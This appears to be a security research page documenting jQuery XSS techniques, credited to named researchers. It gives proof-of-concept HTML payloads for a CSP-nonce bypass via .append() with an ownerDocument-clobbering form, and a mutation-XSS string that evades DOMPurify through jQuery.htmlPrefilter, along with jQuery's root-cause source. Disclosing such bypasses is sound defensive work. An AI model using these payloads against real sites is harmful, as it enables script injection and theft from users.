jQuery is a fast, small, and feature-rich JavaScript library. It makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers. With a combination of versatility and extensibility, jQuery has changed the way that millions of people write JavaScript.
This one works with every jQuery methods that manipulate HTML elements (see $(".child" on the right)
) → .after
, .before
, .append
, .prepend
, .html
, .text
, .replaceWith
, .wrap
, .wrapAll
, .wrapInner
, etc.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.js"></script>
<script nonce="secret">
$(document).ready(function(){
$( ".container" ).append( $( ".child" ) );
});
</script>
<!-- user input -->
<form class="child"><input name="ownerDocument"/><script>alert(document.domain);</script></form>
<p class="container"></p>
Related links:
Found by @slekies, @kkotowicz, @sirdarckcat.
jQuery used to normalize HTML before inserting it into the DOM using the jQuery.htmlPrefilter
function. This made it easy to bypass sanitizers like DOMPurify.
<script src="https://code.jquery.com/jquery-3.4.1.js"></script>
<script>
$(document).ready(function() {
$(document.body).html(`
<!-- user input -->
<style><x x="><style/><img src=x onerror=alert(document.domain)>"></x></style>
`);
});
</script>
Root Cause
html: function( value ) {
return access( this, function( value ) {
var elem = this[ 0 ] || {},
i = 0,
l = this.length;
if ( value === undefined && elem.nodeType === 1 ) {
return elem.innerHTML;
}
// See if we can take a shortcut and just use innerHTML
if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
!wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) {
value = jQuery.htmlPrefilter( value );
try {
for ( ; i < l; i++ ) {
elem = this[ i ] || {};
// Remove element nodes and prevent memory leaks
if ( elem.nodeType === 1 ) {
jQuery.cleanData( getAll( elem, false ) );
elem.innerHTML = value;
}
}
htmlPrefilter: function( html ) {
return html.replace( rxhtmlTag, "<$1></$2>" );
},
Related links:
Found by @kinugawamasato.